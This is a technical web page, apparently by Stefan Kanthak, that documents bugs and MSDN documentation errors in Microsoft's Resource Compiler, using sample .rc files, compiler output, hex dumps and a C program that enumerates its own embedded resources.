Name of the file that contains the resource. The name must be a valid file name; it must be a full path if the file is not in the current working directory. The path should be a quoted string.
Defines a bitmap that defines the shape of the cursor on the display screen or an animated cursor.The MSDN article FONT resource states:[…]nameID CURSOR filenamefilename
Name of the file that contains the resource. The name must be a valid file name; it must be a full path if the file is not in the current working directory. The path should be a quoted string.
Defines a file that contains a font.The MSDN article HTML resource states:[…]nameID FONT filenamefilename
Name of the file that contains the resource. The name must be a valid file name; it must be a full path if the file is not in the current working directory. The path should be a quoted string.
Defines an HTML file.OUCH¹: this article fails to specify that a HTML resource can also be defined via[…]nameID HTML filenamefilename
The name of the HTML file. It must be a full or relative path if the file is not in the current working directory. The path should be a quoted string.
raw-data!
The MSDN article ICON resource states:
Defines a bitmap that defines the shape of the icon to be used for a given application or an animated icon.The MSDN article MESSAGETABLE resource states:[…]nameID ICON filenamefilename
Name of the file that contains the resource. The name must be a valid file name; it must be a full path if the file is not in the current working directory. The path should be a quoted string.
Defines the ID and file of an application's message table resource. […]The MSDN article RCDATA resource states:[…]nameID MESSAGETABLE filenamefilename
Name of the file that contains the resource. The name must be a valid file name; it must be a full path if the file is not in the current working directory. The path should be a quoted string.
Defines a raw data resource for an application. Raw data resources permit the inclusion of binary data directly in the executable file.OUCH²: this article fails to specify that an[…]nameID RCDATA [optional-statements] {raw-data ...}nameID
Unique name or a 16-bit unsigned integer value that identifies the resource.
optional-statements
This parameter can be zero or more of the following statements.
Statement Description CHARACTERISTICS dword User-defined information about a resource that can be used by tools that read and write resource files. For more information, see CHARACTERISTICS. LANGUAGE language, sublanguage Language for the resource. For more information, see LANGUAGE. VERSION dword User-defined version number for the resource that can be used by tools that read and write resource files. For more information, see VERSION. raw-data
Raw data consisting of one or more integers or strings of characters.
RCDATA resource can also be included from a file!
         Caveat: a MANIFEST
            resource-definition statement
            is not available!
        
RC.exe:
         Start the Command Processor
            Cmd.exe, then execute
            the
            Resource Compiler
            RC.exe with code page 1200
            alias
            UTF-16LE
            specified on the command line:
        
RC.EXE /C 1200 NUL:
Microsoft (R) Windows (R) Resource Compiler Version 6.1.7600.16385 Copyright (C) Microsoft Corporation. All rights reserved. fatal error RC1206: code page specified on command line not in registryOUCH³: the Resource Compiler fails to accept the native encoding of Windows NT! Resource Compiler Fatal Error RC1206
 Create the text file blunder.rc with the following
            content in an arbitrary, preferable empty directory:
        
// Copyleft © 2004-2025, Stefan Kanthak <stefan.kanthak@nexgo.de>
#ifdef RC_INVOKED
#pragma code_page(0)
#else
#pragma CODE_PAGE(1200) // UTF-16LE
#endif Compile the source file blunder.rc created in
            step 2.:
        
RC.EXE /X blunder.rc TYPE RCa?????
Microsoft (R) Windows (R) Resource Compiler Version 6.1.7600.16385
Copyright (C) Microsoft Corporation.  All rights reserved.
blunder.rc(3) : error RC4212: Codepage not integer:  )
blunder.rc(5) : fatal error RC4213: Codepage 1200 (Unicode) not allowed:  ignored
RCa12345
  l i n e   1 " b l u n d e r . r c "
 # l i n e   1
 / /   C o p y l e f t   ®   2 0 0 4 - 2 0 2 5 ,   S t e f a n   K a n t h a k   < s t e f a n . k a n t h a k @ n e x g o . d e >
 # l i n e   3
 # i f d e f   R C _ I N V O K E D
 # e l s e
            OUCH⁴: contrary to the highlighted statement
            of the second
            MSDN article
            cited above and the preprocessor of the
            Visual C compiler, the preprocessor of the
            Resource Compiler
            evaluates its
            #pragma code_page()
            directive even when it is guarded by
            #if… #endif!
         OOPS¹: it prints a wrong
            error message with the undocumented error code
            RC4212
            for the valid integer 0!
        
 OOPS²: the third
            MSDN article
            cited above fails to specify that the
            Resource Compiler
            supports
            #pragma CODE_PAGE( [ default | ‹Code Page Identifier› ] )
            too – both code_page and default can
            be written in all lowercase as well as all uppercase letters!
        
OOPS³: although the preprocessor of the Resource Compiler supports UTF-16LE encoded source files it rejects this encoding!
 OOPS⁴: when it terminates with the
            undocumented error code
            RC4213,
            the
            Resource Compiler
            fails to delete the intermediary
            UTF-16LE
            encoded preprocessor output file
            RCa‹5 decimal digits› – which is
            contrary to Microsoft’s own recommendation
            written without
            Byte Order Mark,
            as indicated by the distended output of the internal
            Type
            command!
            Resource compiler errors and warnings (RCxxxx, RWxxxx)
        
 Overwrite the text file blunder.rc created in
            step 2. with the following content:
        
// Copyleft © 2004-2025, Stefan Kanthak <stefan.kanthak@nexgo.de>
1 MANIFEST "NUL:"
2 MANIFEST "blunder.rc"
1 RCDATA "NUL:"
2 RCDATA "blunder.rc"
3 RCDATA
#ifndef BLUNDER
    CHARACTERISTICS 0x815
    LANGUAGE 127, 0
    VERSION 0x20090815
#endif
{ }
1 MESSAGETABLE "NUL:"
2 MESSAGETABLE "blunder.rc"
1 ICON "NUL:"
1 HTML "NUL:"
2 HTML "blunder.rc"
3 HTML { "<html><body>Blunder</body></html>" }
4 HTML { L"<html><body>Blunder</body></html>" }
1 FONT "NUL:"
1 CURSOR "NUL:"
1 BITMAP "NUL:" Compile the source file blunder.rc overwritten in
            step 4. a first time:
        
RC.EXE /X blunder.rc
Microsoft (R) Windows (R) Resource Compiler Version 6.1.7600.16385
Copyright (C) Microsoft Corporation.  All rights reserved.
blunder.rc(10) : error RC2135 : file not found: CHARACTERISTICS
blunder.rc(11) : error RC2135 : file not found: 127
blunder.rc(12) : error RC2135 : file not found: VERSION
blunder.rc(14) : error RC2135 : file not found: {
            OUCH⁵: contrary to the last
            MSDN article
            cited above, the
            RCDATA
            resource-definition statement
            fails to accept its optional-statements
            CHARACTERISTICS,
            LANGUAGE
            and
            VERSION!
         Compile the source file blunder.rc overwritten in
            step 4. a second time, now with the preprocessor macro
            BLUNDER defined and with language identifier 127 alias
            LANG_INVARIANT specified:
        
RC.EXE /D BLUNDER /L 7F /X blunder.rc
Microsoft (R) Windows (R) Resource Compiler Version 6.1.7600.16385 Copyright (C) Microsoft Corporation. All rights reserved.OOPS⁵: the Resource Compiler accepts the device name
NUL: instead
            of a file name, but discards these
            resource-definition statements
            completely – without warning or error message!
        OUCH⁶: it accepts a file with arbitrary content as HTML or MESSAGETABLE resource and generates a most probably malformed resource file!
 Create the text file blunder.c with the following
            content next to the resource file blunder.res generated
            in step 6.:
        
// Copyright © 2004-2025, Stefan Kanthak <stefan.kanthak@nexgo.de>
#define STRICT
#define UNICODE
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
__declspec(safebuffers)
BOOL	CDECL	PrintConsole(HANDLE hConsole, [SA_FormatString(Style="printf")] LPCWSTR lpFormat, ...)
{
	WCHAR	szOutput[1025];
	DWORD	dwOutput;
	DWORD	dwConsole;
	va_list	vaInput;
	va_start(vaInput, lpFormat);
	dwOutput = wvsprintf(szOutput, lpFormat, vaInput);
	va_end(vaInput);
	if (dwOutput == 0UL)
		return FALSE;
	if (!WriteConsole(hConsole, szOutput, dwOutput, &dwConsole, NULL))
		return FALSE;
	return dwConsole == dwOutput;
}
const	LPCWSTR	szType[] = {NULL,
		            L"CURSOR", L"BITMAP", L"ICON", L"MENU", L"DIALOG", L"STRINGTABLE",
		            L"FONTDIR", L"FONT", L"ACCELERATOR", L"RCDATA", L"MESSAGETABLE", L"GROUP_CURSOR",
		            L"NAMETABLE", L"GROUP_ICON", L"MENUEX", L"VERSION", L"DLGINCLUDE", L"DIALOGEX",
		            L"PLUGPLAY", L"VXD", L"ANICURSOR", L"ANIICON", L"HTML", L"MANIFEST"};
BOOL	WINAPI	EnumResLangProc(HMODULE hModule,
		                LPCWSTR lpType,
		                LPCWSTR lpName,
		                LANGID  wIDLanguage,
		                LPARAM  lParam)
{
	LPVOID	lpResource;
	DWORD	dwResource;
	DWORD	dwString;
	LPCWSTR	lpString;
	HGLOBAL	hGlobal;
	HANDLE	hConsole = (HANDLE) lParam;
	HRSRC	hResource = FindResourceEx(hModule, lpType, lpName, wIDLanguage);
	if (hResource == NULL)
		PrintConsole(hConsole,
		             L"FindResourceEx() returned error %lu\n",
		             GetLastError());
	else
	{
		PrintConsole(hConsole,
		             L"\t\tLANGID: %hu = 0x%04hX\n",
		             wIDLanguage, wIDLanguage);
		dwResource = SizeofResource(hModule, hResource);
		if (dwResource == 0UL)
			PrintConsole(hConsole,
			             L"SizeOfResource() returned error %lu\n",
			             GetLastError());
		PrintConsole(hConsole,
		             L"\t\t\tInfo Handle = 0x%p, Data Length = %lu\n",
		             hResource, dwResource);
		hGlobal = LoadResource(hModule, hResource);
		if (hGlobal == NULL)
			PrintConsole(hConsole,
			             L"LoadResource() returned error %lu\n",
			             GetLastError());
		else
		{
			lpResource = LockResource(hGlobal);
			if (lpResource == NULL)
				PrintConsole(hConsole,
				             L"LockResource() returned error %lu\n",
				             GetLastError());
			else
			{
				PrintConsole(hConsole,
				             L"\t\t\tData Handle = 0x%p, Data Offset = 0x%p\n",
				             hGlobal, (LPBYTE) lpResource - (LPBYTE) hModule);
				if (IS_INTRESOURCE(lpType) && (lpType == RT_STRING))
				{
					// every RT_STRING resource, a STRINGTABLE, holds 16 UNICODE strings
					// IMAGE_RESOURCE_DIR_STRING_U of up to 65535 characters each, which
					// need not be L'\0' terminated and may contain L'\0', with their
					// character count (including the terminating L'\0' if present)
					// stored in front of them.
					dwResource = IS_INTRESOURCE(lpName) ? (WORD) lpName * 16UL : 16UL;
					dwString = 16UL;
					lpString = lpResource;
					do
						if (*lpString != L'\0')
							PrintConsole(hConsole,
							             L"\t\t\t%6lu:\tSize = %hu, Text = %ls\n",
							             dwResource - dwString, *lpString, lpString + 1);
					while (lpString += 1 + *lpString, --dwString > 0UL);
				}
#if 0 // OBSOLETE!
				if (!UnlockResource(lpResource))
					PrintConsole(hConsole,
					             L"UnlockResource() returned FALSE\n");
#endif
			}
#if 0 // OBSOLETE!
			if (!FreeResource(hGlobal))
				PrintConsole(hConsole,
				             L"FreeResource() returned FALSE\n");
#endif
		}
	}
	return TRUE;
}
BOOL	WINAPI	EnumResNameProc(HMODULE hModule,
		                LPCWSTR lpType,
		                LPCWSTR lpName,
		                LPARAM  lParam)
{
	HANDLE	hConsole = (HANDLE *) lParam;
	if (IS_INTRESOURCE(lpName))
		PrintConsole(hConsole,
		             L"\tID: %hu\n",
		             (WORD) lpName);
	else
		PrintConsole(hConsole,
		             L"\tName: %ls\n",
		             lpName);
#ifndef NEUTRAL
	if (!EnumResourceLanguages(hModule,
	                           lpType,
	                           lpName,
	                           EnumResLangProc,
	                           lParam))
		PrintConsole(hConsole,
		             L"EnumResourceLanguages() returned error %lu\n",
		             GetLastError());
#else
	if (!EnumResourceLanguagesEx(hModule,
	                             lpType,
	                             lpName,
	                             EnumResLangProc,
	                             lParam,
	                             RESOURCE_ENUM_LN,
	                             MAKELANGID(LANG_NEUTRAL, SUBLANG_NEUTRAL)))
		PrintConsole(hConsole,
		             L"EnumResourceLanguagesEx() returned error %lu\n",
		             GetLastError());
#endif
	return TRUE;
}
BOOL	WINAPI	EnumResTypeProc(HMODULE hModule,
		                LPCWSTR lpType,
		                LPARAM  lParam)
{
	HANDLE	hConsole = (HANDLE *) lParam;
	if (!IS_INTRESOURCE(lpType))
		PrintConsole(hConsole,
		             L"Name: %ls\n",
		             lpType);
	else if ((WORD) lpType < sizeof(szType) / sizeof(*szType))
		PrintConsole(hConsole,
		             L"Type: %hu = %ls\n",
		             (WORD) lpType, szType[(WORD) lpType]);
	else
		PrintConsole(hConsole,
		             L"Type: %hu\n",
		             (WORD) lpType);
#ifndef NEUTRAL
	if (!EnumResourceNames(hModule,
	                       lpType,
	                       EnumResNameProc,
	                       lParam))
		PrintConsole(hConsole,
		             L"EnumResourceNames() returned error %lu\n",
		             GetLastError());
#else
	if (!EnumResourceNamesEx(hModule,
	                         lpType,
	                         EnumResNameProc,
	                         lParam,
	                         RESOURCE_ENUM_LN,
	                         MAKELANGID(LANG_NEUTRAL, SUBLANG_NEUTRAL)))
		PrintConsole(hConsole,
		             L"EnumResourceNamesEx() returned error %lu\n",
		             GetLastError());
#endif
	return TRUE;
}
__declspec(noreturn)
VOID	CDECL	wmainCRTStartup(VOID)
{
	DWORD	dwError = ERROR_SUCCESS;
	HANDLE	hError = GetStdHandle(STD_ERROR_HANDLE);
	if (hError == INVALID_HANDLE_VALUE)
		dwError = GetLastError();
	else
#ifndef NEUTRAL
		if (!EnumResourceTypes((HMODULE) NULL,
		                       EnumResTypeProc,
		                       (LPARAM) hError))
			PrintConsole(hError,
			             L"EnumResourceTypes() returned error %lu\n",
			             dwError = GetLastError());
#else
		if (!EnumResourceTypesEx((HMODULE) NULL,
		                         EnumResTypeProc,
		                         (LPARAM) hError,
		                         RESOURCE_ENUM_LN,
		                         MAKELANGID(LANG_NEUTRAL, SUBLANG_NEUTRAL)))
			PrintConsole(hError,
			             L"EnumResourceTypesEx() returned error %lu\n",
			             dwError = GetLastError());
#endif
	ExitProcess(dwError);
}EnumResLangProc()
            EnumResNameProc()
            EnumResTypeProc()
            EnumResourceLanguages()
            EnumResourceLanguagesEx()
            EnumResourceNames()
            EnumResourceNamesEx()
            EnumResourceTypes()
            EnumResourceTypesEx()
            FindResource()
            FindResourceEx()
            FreeResource()
            LoadResource()
            LockResource()
            SizeofResource()
            IS_INTRESOURCE
         Compile the source file blunder.c created in
            step 7. and link its object file blunder.obj with
            the resource file blunder.res generated in
            step 6.:
        
SET CL=/GF /W4 /Zl SET LINK=/ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE CL.EXE blunder.c blunder.res kernel32.lib user32.libNote: the command lines can be copied and pasted as block into a Command Processor window.
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. blunder.c blunder.c(103) : warning C4305: 'type cast' : truncation from 'LPWSTR' to 'WORD' blunder.c(139) : warning C4305: 'type cast' : truncation from 'LPWSTR' to 'WORD' blunder.c(178) : warning C4305: 'type cast' : truncation from 'LPWSTR' to 'WORD' blunder.c(181) : warning C4305: 'type cast' : truncation from 'LPWSTR' to 'WORD' blunder.c(181) : warning C4305: 'type cast' : truncation from 'LPWSTR' to 'WORD' blunder.c(185) : warning C4305: 'type cast' : truncation from 'LPWSTR' to 'WORD' Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:blunder.exe blunder.obj blunder.res kernel32.lib user32.lib
 Execute the console application blunder.exe built in
            step 8. to enumerate all its resources:
        
.\blunder.exe
Name: MANIFEST
	ID: 2
		LANGID: 127 = 0x007F
			Info Handle = 0x009D3168, Data Length = 1829
			Data Handle = 0x009D3200, Data Offset = 0x009D3200
Type: 7 = FONTDIR
	Name: FONTDIR
		LANGID: 127 = 0x007F
			Info Handle = 0x009D3178, Data Length = 167
			Data Handle = 0x009D4F10, Data Offset = 0x009D4F10
Type: 10 = RCDATA
	ID: 2
		LANGID: 127 = 0x007F
			Info Handle = 0x009D3188, Data Length = 1829
			Data Handle = 0x009D3928, Data Offset = 0x009D3928
Type: 11 = MESSAGETABLE
	ID: 2
		LANGID: 127 = 0x007F
			Info Handle = 0x009D3198, Data Length = 1829
			Data Handle = 0x009D4050, Data Offset = 0x009D4050
Type: 23 = HTML
	ID: 2
		LANGID: 127 = 0x007F
			Info Handle = 0x009D31A8, Data Length = 1829
			Data Handle = 0x009D4778, Data Offset = 0x009D4778
	ID: 3
		LANGID: 127 = 0x007F
			Info Handle = 0x009D31B8, Data Length = 33
			Data Handle = 0x009D4EA0, Data Offset = 0x009D4EA0
	ID: 4
		LANGID: 127 = 0x007F
			Info Handle = 0x009D31C8, Data Length = 66
			Data Handle = 0x009D4EC8, Data Offset = 0x009D4EC8
         Overwrite the text file blunder.rc created in
            step 2. again, now with the following content:
        
// Copyleft © 2004-2025, Stefan Kanthak <stefan.kanthak@nexgo.de>
STRINGTABLE
BEGIN
    0,   "[\0] NUL"
    1,   "[\a] Audible Alarm"
    2,   "[\b] Backspace"
    3,   "[\f] Form Feed"
    4,   "[\n] Line Feed"
    5,   "[\r] Carriage Return"
    6,   "[\t] Horizontal Tabulator"
    7,   "[\v] Vertical Tabulator"
#ifndef BLUNDER
    8,   "[\"] Double Quote"
#else
    8,   "[""] Double Quote"
#endif
    9,   "[\'] Single Quote"
   10,   "[\?] Question Mark"
   11,   "[\\] Backslash"
   12,   "[\177] DEL"
   13,   "[\u20AC] Euro Sign"
   14,   "[\xFEFF] Byte Order Mark"
   15,   "[\x]"
   16,   L"[\0] NUL"
   17,   L"[\a] Audible Alarm"
   18,   L"[\b] Backspace"
   19,   L"[\f] Form Feed"
   20,   L"[\n] Line Feed"
   21,   L"[\r] Carriage Return"
   22,   L"[\t] Horizontal Tabulator"
   23,   L"[\v] Vertical Tabulator"
#ifndef BLUNDER
   24,   L"[\"] Double Quote"
#else
   24,   L"[""] Double Quote"
#endif
   25,   L"[\'] Single Quote"
   26,   L"[\?] Question Mark"
   27,   L"[\\] Backslash"
   28,   L"[\177] DEL"
   29,   L"[\u20AC] Euro Sign"
   30,   L"[\xFEFF] Byte Order Mark"
   31,   L"[\x]"
END Compile the source file blunder.rc overwritten in
            step 10. a first time:
        
RC.EXE /X blunder.rc
Microsoft (R) Windows (R) Resource Compiler Version 6.1.7600.16385
Copyright (C) Microsoft Corporation.  All rights reserved.
blunder.rc.blunder.rc(14) : error RC2104 : undefined keyword or key name: ]
            OUCH⁷: the
            Resource Compiler
            fails to support the standard
            ANSI C89
            escape sequence
            \" for the
            Double Quote! Resource Compiler Error RC2104
 Compile the source file blunder.rc overwritten in
            step 10. a second time, now with the preprocessor macro
            BLUNDER defined:
        
RC.EXE /D BLUNDER /N /X blunder.rc
Microsoft (R) Windows (R) Resource Compiler Version 6.1.7600.16385 Copyright (C) Microsoft Corporation. All rights reserved.OOPS⁶: quotation marks must be doubled inside strings!
 Dump the raw data of the resource file blunder.res
            generated in step 12.:
        
CERTUTIL.EXE /DUMP blunder.resResource File Formats
  0000  ...
  0494
    0000  00 00 00 00 20 00 00 00  ff ff 00 00 ff ff 00 00   .... ...........
    0010  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00   ................
    0020  28 02 00 00 20 00 00 00  ff ff 06 00 ff ff 01 00   (... ...........
    0030  00 00 00 00 30 10 09 04  00 00 00 00 00 00 00 00   ....0...........
    0040  08 00 5b 00 00 00 5d 00  20 00 4e 00 55 00 4c 00   ..[...]. .N.U.L.
    0050  00 00 12 00 5b 00 08 00  5d 00 20 00 41 00 75 00   ....[...]. .A.u.
    0060  64 00 69 00 62 00 6c 00  65 00 20 00 41 00 6c 00   d.i.b.l.e. .A.l.
    0070  61 00 72 00 6d 00 00 00  0f 00 5b 00 5c 00 62 00   a.r.m.....[.\.b.
    0080  5d 00 20 00 42 00 61 00  63 00 6b 00 73 00 70 00   ]. .B.a.c.k.s.p.
    0090  61 00 63 00 65 00 00 00  0f 00 5b 00 5c 00 66 00   a.c.e.....[.\.f.
    00a0  5d 00 20 00 46 00 6f 00  72 00 6d 00 20 00 46 00   ]. .F.o.r.m. .F.
    00b0  65 00 65 00 64 00 00 00  0e 00 5b 00 0a 00 5d 00   e.e.d.....[...].
    00c0  20 00 4c 00 69 00 6e 00  65 00 20 00 46 00 65 00    .L.i.n.e. .F.e.
    00d0  65 00 64 00 00 00 14 00  5b 00 0d 00 5d 00 20 00   e.d.....[...]. .
    00e0  43 00 61 00 72 00 72 00  69 00 61 00 67 00 65 00   C.a.r.r.i.a.g.e.
    00f0  20 00 52 00 65 00 74 00  75 00 72 00 6e 00 00 00    .R.e.t.u.r.n...
    0100  19 00 5b 00 09 00 5d 00  20 00 48 00 6f 00 72 00   ..[...]. .H.o.r.
    0110  69 00 7a 00 6f 00 6e 00  74 00 61 00 6c 00 20 00   i.z.o.n.t.a.l. .
    0120  54 00 61 00 62 00 75 00  6c 00 61 00 74 00 6f 00   T.a.b.u.l.a.t.o.
    0130  72 00 00 00 18 00 5b 00  5c 00 76 00 5d 00 20 00   r.....[.\.v.]. .
    0140  56 00 65 00 72 00 74 00  69 00 63 00 61 00 6c 00   V.e.r.t.i.c.a.l.
    0150  20 00 54 00 61 00 62 00  75 00 6c 00 61 00 74 00    .T.a.b.u.l.a.t.
    0160  6f 00 72 00 00 00 11 00  5b 00 22 00 5d 00 20 00   o.r.....[.".]. .
    0170  44 00 6f 00 75 00 62 00  6c 00 65 00 20 00 51 00   D.o.u.b.l.e. .Q.
    0180  75 00 6f 00 74 00 65 00  00 00 12 00 5b 00 5c 00   u.o.t.e.....[.\.
    0190  27 00 5d 00 20 00 53 00  69 00 6e 00 67 00 6c 00   '.]. .S.i.n.g.l.
    01a0  65 00 20 00 51 00 75 00  6f 00 74 00 65 00 00 00   e. .Q.u.o.t.e...
    01b0  13 00 5b 00 5c 00 3f 00  5d 00 20 00 51 00 75 00   ..[.\.?.]. .Q.u.
    01c0  65 00 73 00 74 00 69 00  6f 00 6e 00 20 00 4d 00   e.s.t.i.o.n. .M.
    01d0  61 00 72 00 6b 00 00 00  0e 00 5b 00 5c 00 5d 00   a.r.k.....[.\.].
    01e0  20 00 42 00 61 00 63 00  6b 00 73 00 6c 00 61 00    .B.a.c.k.s.l.a.
    01f0  73 00 68 00 00 00 08 00  5b 00 7f 00 5d 00 20 00   s.h.....[...]. .
    0200  44 00 45 00 4c 00 00 00  13 00 5b 00 5c 00 75 00   D.E.L.....[.\.u.
    0210  32 00 30 00 41 00 43 00  5d 00 20 00 45 00 75 00   2.0.A.C.]. .E.u.
    0220  72 00 6f 00 20 00 53 00  69 00 67 00 6e 00 00 00   r.o. .S.i.g.n...
    0230  16 00 5b 00 fe 00 46 00  46 00 5d 00 20 00 42 00   ..[...F.F.]. .B.
    0240  79 00 74 00 65 00 20 00  4f 00 72 00 64 00 65 00   y.t.e. .O.r.d.e.
    0250  72 00 20 00 4d 00 61 00  72 00 6b 00 00 00 04 00   r. .M.a.r.k.....
    0260  5b 00 00 00 5d 00 00 00  0c 02 00 00 20 00 00 00   [...]....... ...
    0270  ff ff 06 00 ff ff 02 00  00 00 00 00 30 10 09 04   ............0...
    0280  00 00 00 00 00 00 00 00  08 00 5b 00 00 00 5d 00   ..........[...].
    0290  20 00 4e 00 55 00 4c 00  00 00 12 00 5b 00 08 00    .N.U.L.....[...
    02a0  5d 00 20 00 41 00 75 00  64 00 69 00 62 00 6c 00   ]. .A.u.d.i.b.l.
    02b0  65 00 20 00 41 00 6c 00  61 00 72 00 6d 00 00 00   e. .A.l.a.r.m...
    02c0  0d 00 5b 00 5d 00 20 00  42 00 61 00 63 00 6b 00   ..[.]. .B.a.c.k.
    02d0  73 00 70 00 61 00 63 00  65 00 00 00 0d 00 5b 00   s.p.a.c.e.....[.
    02e0  5d 00 20 00 46 00 6f 00  72 00 6d 00 20 00 46 00   ]. .F.o.r.m. .F.
    02f0  65 00 65 00 64 00 00 00  0e 00 5b 00 0a 00 5d 00   e.e.d.....[...].
    0300  20 00 4c 00 69 00 6e 00  65 00 20 00 46 00 65 00    .L.i.n.e. .F.e.
    0310  65 00 64 00 00 00 14 00  5b 00 0d 00 5d 00 20 00   e.d.....[...]. .
    0320  43 00 61 00 72 00 72 00  69 00 61 00 67 00 65 00   C.a.r.r.i.a.g.e.
    0330  20 00 52 00 65 00 74 00  75 00 72 00 6e 00 00 00    .R.e.t.u.r.n...
    0340  19 00 5b 00 09 00 5d 00  20 00 48 00 6f 00 72 00   ..[...]. .H.o.r.
    0350  69 00 7a 00 6f 00 6e 00  74 00 61 00 6c 00 20 00   i.z.o.n.t.a.l. .
    0360  54 00 61 00 62 00 75 00  6c 00 61 00 74 00 6f 00   T.a.b.u.l.a.t.o.
    0370  72 00 00 00 16 00 5b 00  5d 00 20 00 56 00 65 00   r.....[.]. .V.e.
    0380  72 00 74 00 69 00 63 00  61 00 6c 00 20 00 54 00   r.t.i.c.a.l. .T.
    0390  61 00 62 00 75 00 6c 00  61 00 74 00 6f 00 72 00   a.b.u.l.a.t.o.r.
    03a0  00 00 11 00 5b 00 22 00  5d 00 20 00 44 00 6f 00   ....[.".]. .D.o.
    03b0  75 00 62 00 6c 00 65 00  20 00 51 00 75 00 6f 00   u.b.l.e. .Q.u.o.
    03c0  74 00 65 00 00 00 10 00  5b 00 5d 00 20 00 53 00   t.e.....[.]. .S.
    03d0  69 00 6e 00 67 00 6c 00  65 00 20 00 51 00 75 00   i.n.g.l.e. .Q.u.
    03e0  6f 00 74 00 65 00 00 00  11 00 5b 00 5d 00 20 00   o.t.e.....[.]. .
    03f0  51 00 75 00 65 00 73 00  74 00 69 00 6f 00 6e 00   Q.u.e.s.t.i.o.n.
    0400  20 00 4d 00 61 00 72 00  6b 00 00 00 0e 00 5b 00    .M.a.r.k.....[.
    0410  5c 00 5d 00 20 00 42 00  61 00 63 00 6b 00 73 00   \.]. .B.a.c.k.s.
    0420  6c 00 61 00 73 00 68 00  00 00 08 00 5b 00 7f 00   l.a.s.h.....[...
    0430  5d 00 20 00 44 00 45 00  4c 00 00 00 11 00 5b 00   ]. .D.E.L.....[.
    0440  32 00 30 00 41 00 43 00  5d 00 20 00 45 00 75 00   2.0.A.C.]. .E.u.
    0450  72 00 6f 00 20 00 53 00  69 00 67 00 6e 00 00 00   r.o. .S.i.g.n...
    0460  14 00 5b 00 ff fe 5d 00  20 00 42 00 79 00 74 00   ..[...]. .B.y.t.
    0470  65 00 20 00 4f 00 72 00  64 00 65 00 72 00 20 00   e. .O.r.d.e.r. .
    0480  4d 00 61 00 72 00 6b 00  00 00 04 00 5b 00 00 00   M.a.r.k.....[...
    0490  5d 00 00 00                                        ]...
CertUtil: -dump command completed successfully.
            OUCH⁸: the
            Resource Compiler
            translates the standard
            ANSI C89
            escape sequence
            \a for
            Audible Alarmto the wrong Unicode code point
U+0008 instead of its
            correct code point U+0007!
         OOPS⁷: it fails to support the
            standard
            ANSI C89
            escape sequences
            \b for
            Backspace
, \f
            for Form Feed
,
            \v for
            Vertical Tabulator
,
            \' for the
            Single Quote
 and
            \? for the
            Question Mark
!
        
 OOPS⁸: it also fails to support the
            standard
            ANSI C99
            escape sequence
            \u‹1 to 4 hexadecimal digits› for
            UTF-16
            code points
            U+‹1 to 4 hexadecimal digits›.
        
 OUCH⁹: it accepts the
            incomplete and invalid escape
            sequence \x without any following hexadecimal digit(s)
            and treats it as \0!
        
OOPS⁹: its (mis)behaviour for escape sequences in ANSI strings differs from the (mis)behaviour for escape sequences in Unicode strings!
 Link the object file blunder.obj generated in
            step 8. with the resource file blunder.res
            generated in step 12.:
        
LINK.EXE blunder.obj blunder.res kernel32.lib user32.lib
Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved.
 Execute the console application blunder.exe built in
            step 14. to enumerate all its resources:
        
.\blunder.exe
Type: 6 = STRINGTABLE ID: 1 LANGID: 1033 = 0x0409 Info Handle = 0x00543068, Data Length = 552 Data Handle = 0x00543090, Data Offset = 0x00543090 0: Size = 8, Text = [ 1: Size = 18, Text = ] Audible Alarm 2: Size = 15, Text = [\b] Backspace 3: Size = 15, Text = [\f] Form Feed 4: Size = 14, Text = [ ] Line Feed ] Carriage Return 5: Size = 20, Text = [ 6: Size = 25, Text = [ ] Horizontal Tabulator 7: Size = 24, Text = [\v] Vertical Tabulator 8: Size = 17, Text = ["] Double Quote 9: Size = 18, Text = [\'] Single Quote 10: Size = 19, Text = [\?] Question Mark 11: Size = 14, Text = [\] Backslash 12: Size = 8, Text = [⌂] DEL 13: Size = 19, Text = [\u20AC] Euro Sign 14: Size = 22, Text = [þFF] Byte Order Mark 15: Size = 4, Text = [ ID: 2 LANGID: 1033 = 0x0409 Info Handle = 0x00543078, Data Length = 524 Data Handle = 0x005432B8, Data Offset = 0x005432B8 16: Size = 8, Text = [ 17: Size = 18, Text = ] Audible Alarm 18: Size = 13, Text = [] Backspace 19: Size = 13, Text = [] Form Feed 20: Size = 14, Text = [ ] Line Feed ] Carriage Return 21: Size = 20, Text = [ 22: Size = 25, Text = [ ] Horizontal Tabulator 23: Size = 22, Text = [] Vertical Tabulator 24: Size = 17, Text = ["] Double Quote 25: Size = 16, Text = [] Single Quote 26: Size = 17, Text = [] Question Mark 27: Size = 14, Text = [\] Backslash 28: Size = 8, Text = [⌂] DEL 29: Size = 17, Text = [20AC] Euro Sign 30: Size = 20, Text = [] Byte Order Mark 31: Size = 4, Text = [
RC.exe.
        The .rsrc section:
Resources are indexed by a multiple-level binary-sorted tree structure. The general design can incorporate 2**31 levels. By convention, however, Windows uses three levels:
Type Name Language[…]
Each Resource Data entry describes an actual unit of raw data in the Resource Data area. A Resource Data entry has the following format:
Offset Size Field Description 0 4 Data RVA The address of a unit of resource data in the Resource Data area. 4 4 Size The size, in bytes, of the resource data that is pointed to by the Data RVA field. 8 4 Codepage The code page that is used to decode code point values within the resource data. Typically, the code page would be the Unicode code page. 12 4 Reserved, must be 0. 
 Create the text file blunder.c with the following
            content in an arbitrary, preferable empty directory:
        
// Copyright © 2004-2025, Stefan Kanthak <stefan.kanthak@nexgo.de>
#define STRICT
#define UNICODE
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
__declspec(safebuffers)
BOOL	CDECL	PrintConsole(HANDLE hConsole, [SA_FormatString(Style="printf")] LPCWSTR lpFormat, ...)
{
	WCHAR	szOutput[1025];
	DWORD	dwOutput;
	DWORD	dwConsole;
	va_list	vaInput;
	va_start(vaInput, lpFormat);
	dwOutput = wvsprintf(szOutput, lpFormat, vaInput);
	va_end(vaInput);
	if (dwOutput == 0UL)
		return FALSE;
	if (!WriteConsole(hConsole, szOutput, dwOutput, &dwConsole, NULL))
		return FALSE;
	return dwConsole == dwOutput;
}
const	LPCWSTR	szType[] = {NULL,
